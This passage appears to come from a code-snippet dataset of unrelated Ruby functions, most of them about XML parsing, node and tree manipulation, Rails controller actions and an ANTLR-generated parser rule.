\"\", data_types)\n #render :text => t.make_triples(c1, controller , \"\", t.dbd_types)\n end\n ret\n end", "def mutate(new_node, remove: false)\n root_node.mark_as_dirty\n\n parent_object = parent.object\n new_arel_node = new_node.is_a?(Arel::Enhance::Node) ? new_node.object : new_node\n new_arel_node = [] if remove && object.is_a?(Array)\n\n if parent_object.respond_to?(\"#{local_path.value}=\")\n parent_object.send(\"#{local_path.value}=\", new_arel_node)\n\n elsif parent_object.instance_values.key?(local_path.value)\n parent_object.instance_variable_set(\"@#{local_path.value}\", new_arel_node)\n\n elsif local_path.arguments? && parent_object.respond_to?(local_path.method[0])\n if remove\n parent_object.delete_at(local_path.value)\n\n else\n parent_object[local_path.value] = new_arel_node\n end\n elsif parent_object.is_a?(Arel::Nodes::TableAlias) && local_path.value == 'relation'\n parent_object.instance_variable_set('@left', new_arel_node)\n else\n raise \"Don't know how to replace `#{local_path.value}` in #{parent_object.inspect}\"\n end\n\n if new_node.is_a?(Arel::Enhance::Node)\n parent.add(local_path, new_node)\n parent[local_path.value]\n else\n new_parent_tree = Visitor.new.accept_with_root(parent_object, parent)\n parent.parent.add(parent.local_path, new_parent_tree)\n new_parent_tree[local_path.value]\n end\n end", "def change_info(n, h, w) #these three arguments correspond to the new name height and weight respectively\n @name = n\n @height = h\n @weight = w\nend", "def parse\n #return a cached version if it exists\n return @nexml if @nexml\n\n #start at the root element\n skip_leader\n\n #start with a new Nexml object\n version = attribute( 'version' )\n generator = attribute( 'generator' )\n @nexml = NeXML::Nexml.new( version, generator )\n\n #perhaps a namespace api as well\n \n #start parsing other elements\n while next_node\n case local_name\n when \"otus\"\n @nexml.add_otus( parse_otus )\n when \"trees\"\n @nexml.add_trees( parse_trees )\n when \"characters\"\n @nexml.add_characters( parse_characters )\n end\n end\n\n #close the libxml parser object\n #close\n\n #return the Nexml object\n @nexml\n end", "def transform(tree); end", "def purged_xml_for_clone\n local_structs_regex = []\n shape.local_structs.each do | struct |\n local_structs_regex << struct.name.underscore.downcase.dasherize\n end\n xml_doc.search('*[@resource-type=\"ActiveRecord\"]', *local_structs_regex.uniq).unlink\n xml_doc.search('file[@resource-type=\"Primitive\"]').each do |file|\n file['value'] = ''\n file['width'] = ''\n file['height'] = ''\n file['content_type'] = ''\n end\n xml_doc\n end", "def netdev_resxml_edit( xml )\n xml.family { \n xml.send(:'ethernet-switching') {\n return xml\n }\n }\n end", "def _to_xml(xml)\n end", "def load_xml(xml)\n @mmdoc = REXML::Document.new(xml)\n end", "def set_model\n @model=Info\n end", "def update\n @node = Node.find(params[:id])\n @title = \"Taxonomy node - organism relationships\"\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to(@node, :notice => 'Node was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end", "def insert_element(line_number, line_content, in_element=nil)\n\t\tto_modify = {modify_nodes: [], add_nodes: [], remove_nodes: [], modify_edges: [], remove_edges: [], add_edges: []}\n\n\t\tordering = get_ordering\n\t\tfirst_char = get_text_from_regexp(line_content, /[ ,\\t]*(.)/)\n\n\t\t#node\n\t\tif first_char == \".\"\n\t\t\t#shouldn't need this\n\t\t\tif in_element != nil && in_element.is_a?(Node) #only use the in_el if it's not nil and the right type\n\t\t\t\tnew_node = in_element\n\t\t\telse #to be safe, generally do a new one.\n\t\t\t\tnew_node = Node.new\n\t\t\tend\n\t\t\tbuild_node(new_node, line_content)\n\t\t\tnew_node.save\n\n\t\t\t#update the ordering\n\t\t\tordering.insert(line_number, ObjectPlace.new(\"Node\", new_node.id))\n\t\t\tset_order(ordering)\n\n\t\t\t#FIND PARENT\n\t\t\tif new_node.depth != 0 #if it's not a base element, give it a parent\n\t\t\t\tparent_node = find_element_parent(new_node.depth, line_number, ordering)\n\t\t\t\tif parent_node != nil #only give it a parent if it actually has one\n\t\t\t\t\trelation = Link.new(child_id: new_node.id, parent_id: parent_node.id, work_id: self.id)\n\t\t\t\t\trelation.save\n\t\t\t\tend\n\t\t\t#else\n\t\t\t#\trelation = Link.new(child_id: new_node.id, parent_id: nil, work_id:self.id) #empty initial relationship\n\t\t\tend\n\n\t\t\towner_id = nil\n\t\t\tremove_edges = []\n\n\t\t\t#FIND CHILDREN, ADOPT THEM (FROM EXISTING PARENT)\n\t\t\tchildren = find_element_children(line_number, new_node.depth, ordering)\n\t\t\tchildren.each do |child|\n\t\t\t\t#removes the old edges\n\t\t\t\tif child[:node].is_a?(Node) #add the old edges to be removed, since that connection is broken\n\t\t\t\t\told_parent_edge = child[:node].parent_relationships.find_by link_collection_id: nil #doesn't mess with ones that have link_coll\n\t\t\t\t\tif old_parent_edge != nil\n\t\t\t\t\t\tremove_edges.append(old_parent_edge.to_cytoscape_hash)\n\t\t\t\t\t\t#remove_edges.append({ id: old_parent_edge.id, source: old_parent_edge.parent_id.to_s, target: old_parent_edge.child_id.to_s })\n\t\t\t\t\tend\n\n\t\t\t\telsif child[:node].is_a?(Note)\n\t\t\t\t\towner_id = child[:node].node_id\n\t\t\t\tend\n\n\t\t\t\tchange_parent(child[:node], new_node)\n\t\t\t\t#updates the now changed parents if necessary\n\t\t\t\tif owner_id != nil #if there's a real parent at the end, modify it in the graph\n\t\t\t\t\tnode_hash = Node.find(owner_id).to_cytoscape_hash\n\t\t\t\t\tto_modify[:modify_nodes].append(node_hash[:node])\n\t\t\t\t\tnode_hash[:edges].each do |edge|\n\t\t\t\t\t\tto_modify[:modify_edges].append(edge)\n\t\t\t\t\tend\n\t\t\t\t\n\t\t\t\telsif child[:node].is_a?(LinkCollection)\n\t\t\t\t\t#if it's a link collection, remove all those links, gonna reassign\n\t\t\t\t\tchild[:node].links.each do |link|\n\t\t\t\t\t\tto_modify[:modify_edges].append(link.to_cytoscape_hash)\n\t\t\t\t\t\t#remove_edges.append({ id: link.id, source: link.parent_id.to_s, target: link.child_id.to_s })\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\towner_id = nil #resets it to make the above check false for non-nodes\n\t\t\tend\n\n\t\t\t#new_node.combine_notes\n\t\t\tto_modify[:add_nodes].append(new_node.to_cytoscape_hash[:node])\n\t\t\tto_modify[:add_edges] = new_node.to_cytoscape_hash[:edges]\n\t\t\tto_modify[:remove_edges] = remove_edges\n\n\t\t\treturn to_modify\n\n\t\t#note\n\t\telsif first_char == '-'\n\t\t\tif in_element != nil && in_element.is_a?(Note) #only use the in_el if it's not nil and the right type\n\t\t\t\tnew_note = in_element\n\t\t\telse\n\t\t\t\tnew_note = Note.new\n\t\t\tend\n\n\t\t\tbuild_note(new_note, line_content)\n\t\t\tnew_note.save\n\t\t\tordering.insert(line_number, ObjectPlace.new(\"Note\", new_note.id))\n\t\t\tset_order(ordering)\n\n\t\t\t#FIND PARENT\n\t\t\tparent_node = find_element_parent(new_note.depth, line_number, ordering)\n\t\t\tif parent_node != nil #if it has a parent, set it. ignore otherwise\n\t\t\t\tnew_note.node_id = parent_node.id\n\t\t\t\tnew_note.save\n\t\t\t#\tparent_node.combine_notes\n\t\t\t#else\n\t\t\t#\tnew_note.node_id = nil\n\t\t\t#\tnew_note.save\n\t\t\telse\n\t\t\t\tnew_note.save\n\t\t\tend\n\t\t\tif parent_node != nil #if it actually has a parent\n\t\t\t\tto_modify[:modify_nodes].append(parent_node.to_cytoscape_hash[:node])\n\t\t\t\tto_modify[:modify_edges] = parent_node.to_cytoscape_hash[:edges]\n\t\t\tend\n\t\t\t#to_modify[:remove_edges] = []\n\t\t\treturn to_modify\n\t\n\t\t#link collection\n\t\telsif first_char == ':'\n\t\t\t#build link collection\n\t\t\tlink_coll = self.link_collections.build\n\n\t\t\t#get its depth\n\t\t\twhitespace = get_text_from_regexp(line_content, /(.*):/)\n\t\t\tlink_coll_depth = (whitespace.length)/3 #+2?\n\n\t\t\t#get its parent node\n\t\t\tordering.insert(line_number, ObjectPlace.new(\"LinkCollection\", nil))\n\t\t\tset_order(ordering)\n\t\t\tparent_node = find_element_parent(link_coll_depth, line_number, ordering)\n\n\t\t\t#this function builds all the links, plus if any are defined to a non-existing node, it adds and returns it\n\t\t\tbuild_link_collection(link_coll, line_content, parent_node)\n\n\t\t\t#build its child links\n\t\t\tlink_names = get_text_from_regexp(line_content, /:(.*)/)\n\t\t\tnew_nodes = link_coll.set_links(link_names)\n\n\t\t\t#adds any newly created links to be returned\n\t\t\tif link_coll.links != nil && link_coll.links.any?\n\t\t\t\tlink_coll.links.each do |link|\n\t\t\t\t\tto_modify[:add_edges].append(link.to_cytoscape_hash)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t#adds any newly added nodes to be returned\n\t\t\tnew_nodes.each do |node|\n\t\t\t\tto_modify[:add_nodes].append(node.to_cytoscape_hash[:node])\n\t\t\tend\n\t\t\n\t\t\t#update id in ordering, pull it again to start in case it's been changed\n\t\t\tordering = get_ordering\n\t\t\tordering[line_number].id = link_coll.id\n\t\t\tset_order(ordering)\n\t\t\treturn to_modify\n\n\t\t#place holder\n\t\telse\n\t\t\tplace_holder = self.place_holders.create(text:line_content)\n\t\t\tordering.insert(line_number, ObjectPlace.new(\"PlaceHolder\", place_holder.id))\n\t\t\tset_order(ordering)\n\t\t\treturn {}\n\t\tend\n\tend", "def xml?; end", "def xml?; end", "def setNode(node)\n #puts \"----setNode --1 #{node}\"\n if (@XML != nil)\n #puts \"----setNode --2\"\n @node = node\n tokens = node.split(\"/\")\n #puts \"setNode... tokens : #{tokens}\"\n working = @XML\n #puts \"Working ----- #{@nodeValues}\"\n #puts \"\\n\\n\\n------->>>xmlStore count:#{@xmlStore.size}\"\n #if (@xmlStoreMap != nil && @xmlStoreMap != \"\")\n # working = @xmlStore[@xmlStoreMap]\n #puts \"\\n\\n\\n1------->>>working:#{working}\"\n #elsif (@nodeValues.size > 0 && @store)\n # working = @nodeValues[@INDEX]\n #puts \"\\n\\n\\n2------->>>working:#{@nodeValues}\"\n #end\n\n @nodeValues.clear\n localIndex = 0\n localNode = \"\"\n #localHashNode = nil\n #puts \"Working : #{tokens[0]} ------\\n#{working}\"\n localHashNode = @xmlTool.getHashForNameAtPos(working, tokens[0], localIndex)\n #puts \"LocalHash :#{localIndex} :: #{tokens[0]}:\\n--------------\\n#{localHashNode}\\n--------------------------\\n\"\n @xmlTool.setCountToZero\n while ((localHashNode = @xmlTool.getHashForNameAtPos(working, tokens[0], localIndex)) != nil)\n localIndex = localIndex.next\n @xmlTool.setCountToZero\n @nodeValues << localHashNode\n #localHashNode = @xmlTool.getHashForNameAtPos(working, tokens[0], localIndex)\n #puts \"LocalHash :#{localIndex} :: #{tokens[0]}:\\n--------------\\n#{localHashNode}\\n--------------------------\\n\"\n end\n #puts \"Tokens: #{tokens} #{@nodeValues}\"\n if (tokens.size != 1 && @nodeValues.size > 0)\n for i in 0..(tokens.size-1)\n #puts \"About to traverseNodes... #{i} #{tokens[i]}\"\n tmpNodes = traverseNodes(@nodeValues, tokens[i])\n #puts \"TMP Nodes : #{tmpNodes}\"\n #if(tmpNodes != nil && tmpNodes.size > 0)\n @nodeValues = tmpNodes\n #end\n #puts \"Found Nodes : #{@nodeValues}\"\n end\n end\n @node = tokens[tokens.size - 1]\n #puts \"Finished Node : #{@nodeValues}\"\n end\n end", "def setContentAsREXML(content) \n @obj.setContent(content.to_s)\n end", "def persist_in_xml\n\nend", "def hashedxml(node)\n \n node.elements.map do |element|\n \n attributes = element.attributes.clone\n \n # Although attribute last_modified isn't used by rexle-diff it is \n # created by Dynarex whenever a record is created or updated. \n # This would of course cause the record to be flagged as changed even \n # when the element value itself hashn't changed.\n #\n %i(created last_modified).each {|x| attributes.delete x}\n x = element.elements.length > 0 ? '' : 0\n [element.name, attributes, element.text.to_s.strip, x].hash\n \n end\n end", "def element_to_xml(element, xml, default_namespace)\n #\n # If an element is marked as read only do not consider at all when\n # saving to XML.\n #\n return if element.options[:read_only]\n\n tag = element.tag || element.name\n\n #\n # The value to store is the result of the method call to the element,\n # by default this is simply utilizing the attr_accessor defined. However,\n # this allows for this method to be overridden\n #\n value = send(element.name)\n\n #\n # Apply any on_save action defined on the element.\n #\n value = apply_on_save_action(element, value)\n\n #\n # To allow for us to treat both groups of items and singular items\n # equally we wrap the value and treat it as an array.\n #\n values = if value.respond_to?(:to_ary) && !element.options[:single]\n value.to_ary\n else\n [value]\n end\n\n values.each do |item|\n if item.is_a?(HappyMapper)\n\n #\n # Other items are convertable to xml through the xml builder\n # process should have their contents retrieved and attached\n # to the builder structure\n #\n item.to_xml(xml, self.class.namespace || default_namespace,\n element.options[:namespace],\n element.options[:tag] || nil)\n\n elsif !item.nil? || element.options[:state_when_nil]\n\n item_namespace =\n element.options[:namespace] ||\n self.class.namespace ||\n default_namespace\n\n #\n # When a value exists or the tag should always be emitted,\n # we should append the value for the tag\n #\n if item_namespace\n xml[item_namespace].send(\"#{tag}_\", item.to_s)\n else\n xml.send(\"#{tag}_\", item.to_s)\n end\n end\n end\n end", "def from_xml(node)\r\n @story_id = node['id']\r\n @title = node['name']\r\n @description = node['description'] || \"\"\r\n @url = node['url']\r\n accepted_at_node = node['accepted_at']\r\n @accepted_at = accepted_at_node.nil? ? nil : DateTime.parse(accepted_at_node)\r\n @created_at = DateTime.parse(node['created_at'])\r\n @updated_at = DateTime.parse(node['updated_at'])\r\n @requested_by_id = node['requested_by_id']\r\n @current_state = node['current_state']\r\n owned_by_node = node['owned_by']\r\n @owned_by_id = node['owned_by_id'] # owned_by_node.nil? || owned_by_node.length == 0 ? 'no one' : owned_by_node\r\n @story_type = node['story_type']\r\n estimate_node = node['estimate']\r\n @estimate = estimate_node.nil? ? 0 : estimate_node.to_i\r\n @estimate = 0 if @estimate < 0\r\n labelnode = node['labels']\r\n @labels = labelnode\r\n\r\n self\r\n end", "def transform\n remove_custom_chronology_value\n move_custom_provenance_value\n move_collection_names\n copy_holdings\n\n # Removing some Alma-specific nodes we don't want to expose.\n @record.xpath('./datafield[@tag=\"INT\"]').remove\n @record.xpath('./datafield[@tag=\"INST\"]').remove\n\n new_marcxml\n rescue StandardError => e\n raise MarcTransformationError, \"MARC transformation error: #{e.message}\"\n end", "def test_unflatten_perfind2\r\n pi = @mymodel.node_list.add_node(4, 'perfind4', PERFIND)\r\n \r\n data = pi.flatten_data\r\n \r\n @mymodel.node_list.delete_node(pi)\r\n \r\n livenode = @mymodel.node_list.node_from_data(data)\r\n \r\n assert_equal(pi.ident, livenode.ident) \r\n assert_equal(pi.value_function, livenode.value_function) \r\n end", "def cleanup! xml\n ns = { 'pre' => 'info:lc/xmlns/premis-v2' }\n \n conflicts = xml.find(\"//pre:*[starts-with(@xmlID, 'agent-')]\", ns).to_a + \n xml.find(\"//pre:*[starts-with(@xmlID, 'object-')]\", ns).to_a +\n xml.find(\"//pre:*[starts-with(@xmlID, 'event-')]\", ns).to_a +\n xml.find(\"//pre:*[starts-with(@xmlID, 'bitstream-')]\", ns).to_a +\n xml.find(\"//pre:*[starts-with(@xmlID, 'representation-')]\", ns).to_a +\n xml.find(\"//pre:*[@xmlID='DPMD1']\", ns).to_a +\n xml.find(\"//pre:*[@xmlID='PREMIS_AMD']\", ns).to_a\n \n unless conflicts.empty?\n \n # prepend all IDs with 'premis_'\n xml.find(\"//pre:*[@xmlID]\", ns).each do |c| \n c['xmlID'] = \"premis_#{c['xmlID']}\"\n end\n \n # modify corresponding IDRefs\n ['RelEventXmlID', 'RelObjectXmlID', 'LinkObjectXmlID', 'LinkEventXmlID',\n 'LinkAgentXmlID', 'LinkPermissionStatementXmlID'].each do |a|\n \n xml.find(\"//pre:*[@#{a}]\", ns).each do |node|\n new_idref = node[a].split.map { |s| \"premis_#{s}\" }\n node[a] = new_idref * ' '\n end\n\n end\n \n end\n \n xml\n end", "def remove_element(line_number, del_obj=true)\n\t\tto_modify = {modify_nodes: [], add_nodes: [], remove_nodes: [], modify_edges: [], remove_edges: [], add_edges: []}\n\n\t\tordering = get_ordering\n\t\tel = get_element_in_ordering(line_number, ordering)\n\n\t\tif (el.is_a?(Node))\n\t\t\tto_modify[:remove_nodes].append(el.to_cytoscape_hash[:node])\n\t\t\tto_modify[:remove_edges] = el.to_cytoscape_hash[:edges]\n\n\t\t\t#find elements children, remove element, then redo the order\n\t\t\tchildren = find_element_children(line_number, el.depth, ordering)\n\n\t\t\t#update the ordering\n\t\t\tordering.delete_at(line_number)\n\t\t\tset_order(ordering)\n\t\t\t\n\t\t\t#for each child, find their new parent according to the ordering, update the elements\n\t\t\tchildren.each do |child|\n\n\t\t\t\tnew_parent = find_element_parent(child[:node].depth, child[:index], ordering)\n\t\t\t\t\n\t\t\t\t#this does a lot of things, including redoing the notes, but only happens if it's a node getting deleted?\n\t\t\t\tchange_parent(child[:node], new_parent)\n\n\t\t\t\tif child[:node].is_a?(Node) #add the old edges to be removed, since that connection is broken\n\t\t\t\t\tnew_parent_edge = child[:node].parent_relationships.first\n\t\t\t\t\tif (new_parent_edge != nil)\n\t\t\t\t\t\tto_modify[:add_edges].append({ id: new_parent_edge.id, source: new_parent_edge.parent_id.to_s, target: new_parent_edge.child_id.to_s })\n\t\t\t\t\tend\n\t\t\t\t\n\t\t\t\telsif child[:node].is_a?(Note) && new_parent != nil #if there's a real parent at the end, modify it in the graph\n\t\t\t\t\t#to_modify[:modify_nodes].append(new_parent.to_cytoscape_hash[:node])\n\t\t\t\t\tnode_hash = new_parent.to_cytoscape_hash\n\t\t\t\t\tto_modify[:modify_nodes].append(node_hash[:node])\n\t\t\t\t\tnode_hash[:edges].each do |edge|\n\t\t\t\t\t\tto_modify[:modify_edges].append(edge)\n\t\t\t\t\tend\n\t\t\t\t\n\t\t\t\telsif child[:node].is_a?(LinkCollection) && new_parent != nil #if adopted, modify the edges\n\t\t\t\t\tchild[:node].links.each do |link|\n\t\t\t\t\t\tto_modify[:modify_edges].append(link.to_cytoscape_hash)\n\t\t\t\t\tend\n\t\t\t\t\t#to_modify[:modify_edges].append(child[:node].links.to_cytoscape_hash)\n\t\t\t\t\n\t\t\t\telsif child[:node].is_a?(LinkCollection) && new_parent == nil #if orphaned, ditch those edges\n\t\t\t\t\tchild[:node].links.each do |link|\n\t\t\t\t\t\tto_modify[:remove_edges].append(link.to_cytoscape_hash)\n\t\t\t\t\tend\n\t\t\t\t\t#to_modify[:remove_edges].append(child[:node].links.to_cytoscape_hash)\n\t\t\t\t\n\t\t\t\tend\n\t\t\tend\n\t\t#\tbinding.pry\n\n\t\t\t#if it's actually supposed to be deleted, delete all links\n\t\t\tif del_obj == true\n\t\t\t\tel.parent_relationships.delete_all\n\t\t\telse #otherwise, just the ones that are hierarchical\n\t\t\t\tel.parent_relationships.where(link_collection_id: nil).delete_all\n\t\t\tend\n\n\t\t\tif del_obj #delete unless explicitly told not to (when it's called from modify)\n\t\t\t\tel.delete\n\t\t\tend\n\n\t\telsif (el.is_a?(Note))\n\t\t\t#update the ordering\n\t\t\tordering.delete_at(line_number)\n\t\t\tset_order(ordering)\n\t\t\n\t\t\t#save the owning node of this note, delete the note, then redo the owner's notes\n\t\t\towner = el.node\n\t\t\tif del_obj #delete unless explicitly told not to (when it's called from modify)\n\t\t\t\tel.delete\n\t\t\tend\n\n\t\t\tif owner != nil\n\t\t\t\tto_modify[:modify_nodes].append(owner.to_cytoscape_hash[:node])\n\t\t\t\tto_modify[:modify_edges] = owner.to_cytoscape_hash[:edges]\n\t\t\tend\t\n\t\t\n\t\telsif (el.is_a?(LinkCollection))\n\t\t\t#binding.pry\n\t\t\t#update the ordering\n\t\t\tordering.delete_at(line_number)\n\t\t\tset_order(ordering)\n\t\t\n\t\t\t#links = el.links\n\t\t\tif el.links != nil && el.links.any?\n\t\t\t\tel.links.each do |link|\n\t\t\t\t\tto_modify[:remove_edges].append(link.to_cytoscape_hash)\n\t\t\t\tend\n\t\t\tend\n\t\t\t#el.links.destroy_all#inform the nodes of this\n\t\t\t#binding.pry\n\t\t\tif del_obj #delete unless explicitly told not to (when it's called from modify)\n\t\t\t\tel.destroy #destroys its children as well, hence destroy\n\t\t\tend\n\n\n\t\telse #if it's not formatted right\n\t\t\t#remove_node = {}\n\t\t\t#remove_edges = []\n\t\t\tplace_holder = get_element_in_ordering(line_number, ordering)\n\t\t\tplace_holder.destroy\n\t\t\t#update the ordering\n\t\t\tordering.delete_at(line_number)\n\t\t\tset_order(ordering)\n\t\t\t\n\t\t\treturn {}\n\t\tend\n\n\t\treturn to_modify\n\tend", "def set_result(xml)\n el = elements[\"result\"]\n el = add_element(\"result\") if el.nil?\n if xml.kind_of? REXML::Element\n el << xml\n else\n el.add_text(xml)\n end\n end", "def transfer_node_attributes(nodes, attributes); end", "def process(parsedXMLdocument)\n raise \"XInclude::process expects an REXML::Document\" unless parsedXMLdocument.is_a?(REXML::Document)\n newDoc = REXML::Document.new(nil,parsedXMLdocument.context.clone)\n copyElementWithReplacements(parsedXMLdocument, newDoc)\n return newDoc\n end", "def save\n features = {\n \"@class\" => node.name\n }\n \n # We need to update\n if defined?(@rid) && !@rid.nil?\n features[\"@version\"] = @version\n odb.document.update(features.merge(attributes), rid: rid)\n @version += 1\n # we need to create\n else\n @rid = odb.command.execute(command_text: URI.encode_www_form_component(\"CREATE VERTEX #{node.name} CONTENT #{Oj.dump(attributes, mode: :compat)}\").gsub(\"+\", \"%20\"))[:result].first[:@rid]\n @version = 0\n end\n\n return self\n end", "def r(input)\n rdoc.convert(input)\n end", "def from_xml_node(parent, opts=OPTS)\n unless parent\n raise Error, \"Malformed XML used\"\n end\n if !parent.children.empty? && parent.children.all?{|node| node.is_a?(Nokogiri::XML::Text)}\n raise Error, \"XML consisting of just text nodes used\"\n end\n\n if assocs = opts[:associations]\n assocs = case assocs\n when Symbol\n {assocs=>OPTS}\n when Array\n assocs_tmp = {}\n assocs.each{|v| assocs_tmp[v] = OPTS}\n assocs_tmp\n when Hash\n assocs\n else\n raise Error, \":associations should be Symbol, Array, or Hash if present\"\n end\n\n assocs_hash = {}\n assocs.each{|k,v| assocs_hash[k.to_s] = v}\n assocs_present = []\n end\n\n hash = {}\n populate_associations = {}\n name_proc = model.xml_deserialize_name_proc(opts)\n parent.children.each do |node|\n next if node.is_a?(Nokogiri::XML::Text)\n k = name_proc[node.name]\n if assocs_hash && assocs_hash[k]\n assocs_present << [k.to_sym, node]\n else\n hash[k] = node.key?('nil') ? nil : node.children.first.to_s\n end\n end\n\n if assocs_present\n assocs_present.each do |assoc, node|\n assoc_opts = assocs[assoc]\n\n unless r = model.association_reflection(assoc)\n raise Error, \"Association #{assoc} is not defined for #{model}\"\n end\n\n populate_associations[assoc] = if r.returns_array?\n node.children.reject{|c| c.is_a?(Nokogiri::XML::Text)}.map{|c| r.associated_class.from_xml_node(c, assoc_opts)}\n else\n r.associated_class.from_xml_node(node, assoc_opts)\n end\n end\n end\n\n if fields = opts[:fields]\n set_fields(hash, fields, opts)\n else\n set(hash)\n end\n\n populate_associations.each do |assoc, values|\n associations[assoc] = values\n end\n\n self\n end", "def run\n\n #@experiment = Hash.from_xml( xml )['request']\n \n #non_coherent_nodes = get_non_coherent_nodes(@functionalities)\n #if non_coherent_nodes.empty?\n # print xml#return xml\n #end\n #n1 = non_coherent_nodes.second\n\n #print @functionalities.size\n #print \"\\n\\n\"\n #array = n1[:missing]==\"child\" ? possible_children(n1[:element], @functionalities) : possible_parents(n1[:element], @functionalities)\n #array.each do |k|\n # print \"\\n#{k[:parent][\"id\"]} -> #{k[:child][\"id\"]} \\n\\n\"\n #end\n #@functionalities = Hash.from_xml( xml )['request']['functionalities']['functionality']\n print(params[:sla].inspect)\n @functionalities = Hash.from_xml(params[:sla])['functionalities']['functionality'].to_a\n print @functionalities.inspect\n @new_functionalities = concepts_similarity_algorithm( @functionalities )\n \n render 'show_functionalities.xml.erb', :layout => false\n \nend", "def instance_to_xml\r\n ATTRIBUTES_MAP.each do |name, hash|\r\n elem = @xml.root.elements[hash[\"element\"]]\r\n elem = @xml.root.elements.add(hash[\"element\"]) if elem.nil?\r\n val = self.send(name)\r\n val = self.send(hash[\"to_xml\"], val) if hash.has_key?(\"to_xml\")\r\n if hash.has_key?(\"attribute\")\r\n elem.attributes[hash[\"attribute\"]] = val\r\n else\r\n elem.text = val\r\n end\r\n end\r\n end", "def swap_node_position(higher_node, lower_node)\n temp_element_title = higher_node.title\n temp_element_rating = higher_node.rating\n higher_node.title = lower_node.title\n higher_node.rating = lower_node.rating\n lower_node.title = temp_element_title\n lower_node.rating = temp_element_rating\n lower_node\n end", "def change_info(n, h, w)\n self.name = n\n self.height = h\n self.weight = w\nend", "def rewrite_tree_element\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 36)\n return_value = RewriteTreeElementReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n rewrite_tree_atom156 = nil\n rewrite_tree_atom157 = nil\n ebnf_suffix158 = nil\n rewrite_tree159 = nil\n ebnf_suffix160 = nil\n rewrite_tree_ebnf161 = nil\n\n stream_rewrite_tree = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule rewrite_tree\")\n stream_rewrite_tree_atom = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule rewrite_tree_atom\")\n stream_ebnf_suffix = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule ebnf_suffix\")\n begin\n # at line 375:2: ( rewrite_tree_atom | rewrite_tree_atom ebnf_suffix -> ^( ebnf_suffix ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree_atom EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] ) ) | rewrite_tree ( ebnf_suffix -> ^( ebnf_suffix ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] ) ) | -> rewrite_tree ) | rewrite_tree_ebnf )\n alt_76 = 4\n alt_76 = @dfa76.predict(@input)\n case alt_76\n when 1\n root_0 = @adaptor.create_flat_list!\n\n\n # at line 375:4: rewrite_tree_atom\n @state.following.push(TOKENS_FOLLOWING_rewrite_tree_atom_IN_rewrite_tree_element_2662)\n rewrite_tree_atom156 = rewrite_tree_atom\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child(root_0, rewrite_tree_atom156.tree)\n end\n\n when 2\n # at line 376:4: rewrite_tree_atom ebnf_suffix\n @state.following.push(TOKENS_FOLLOWING_rewrite_tree_atom_IN_rewrite_tree_element_2667)\n rewrite_tree_atom157 = rewrite_tree_atom\n @state.following.pop\n if @state.backtracking == 0\n stream_rewrite_tree_atom.add(rewrite_tree_atom157.tree)\n end\n @state.following.push(TOKENS_FOLLOWING_ebnf_suffix_IN_rewrite_tree_element_2669)\n ebnf_suffix158 = ebnf_suffix\n @state.following.pop\n if @state.backtracking == 0\n stream_ebnf_suffix.add(ebnf_suffix158.tree)\n end\n # AST Rewrite\n # elements: ebnf_suffix, rewrite_tree_atom\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream(\"rule return_value\", return_value.tree) : subtree_stream(\"token return_value\")\n\n root_0 = @adaptor.create_flat_list!\n # 377:3: -> ^( ebnf_suffix ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree_atom EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] ) )\n # at line 377:6: ^( ebnf_suffix ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree_atom EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] ) )\n root_1 = @adaptor.create_flat_list!\n root_1 = @adaptor.become_root(stream_ebnf_suffix.next_node(), root_1)\n\n # at line 377:21: ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree_atom EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] )\n root_2 = @adaptor.create_flat_list!\n root_2 = @adaptor.become_root(@adaptor.create!(BLOCK, \"BLOCK\"), root_2)\n\n # at line 377:38: ^( ALT[\\\"ALT\\\"] rewrite_tree_atom EOA[\\\"EOA\\\"] )\n root_3 = @adaptor.create_flat_list!\n root_3 = @adaptor.become_root(@adaptor.create!(ALT, \"ALT\"), root_3)\n\n @adaptor.add_child(root_3, stream_rewrite_tree_atom.next_tree)\n @adaptor.add_child(root_3, @adaptor.create!(EOA, \"EOA\"))\n\n @adaptor.add_child(root_2, root_3)\n @adaptor.add_child(root_2, @adaptor.create!(EOB, \"EOB\"))\n\n @adaptor.add_child(root_1, root_2)\n\n @adaptor.add_child(root_0, root_1)\n\n\n\n return_value.tree = root_0\n\n end\n when 3\n # at line 378:6: rewrite_tree ( ebnf_suffix -> ^( ebnf_suffix ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] ) ) | -> rewrite_tree )\n @state.following.push(TOKENS_FOLLOWING_rewrite_tree_IN_rewrite_tree_element_2703)\n rewrite_tree159 = rewrite_tree\n @state.following.pop\n if @state.backtracking == 0\n stream_rewrite_tree.add(rewrite_tree159.tree)\n end\n # at line 379:3: ( ebnf_suffix -> ^( ebnf_suffix ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] ) ) | -> rewrite_tree )\n alt_75 = 2\n look_75_0 = @input.peek(1)\n\n if (look_75_0 == T__74 || 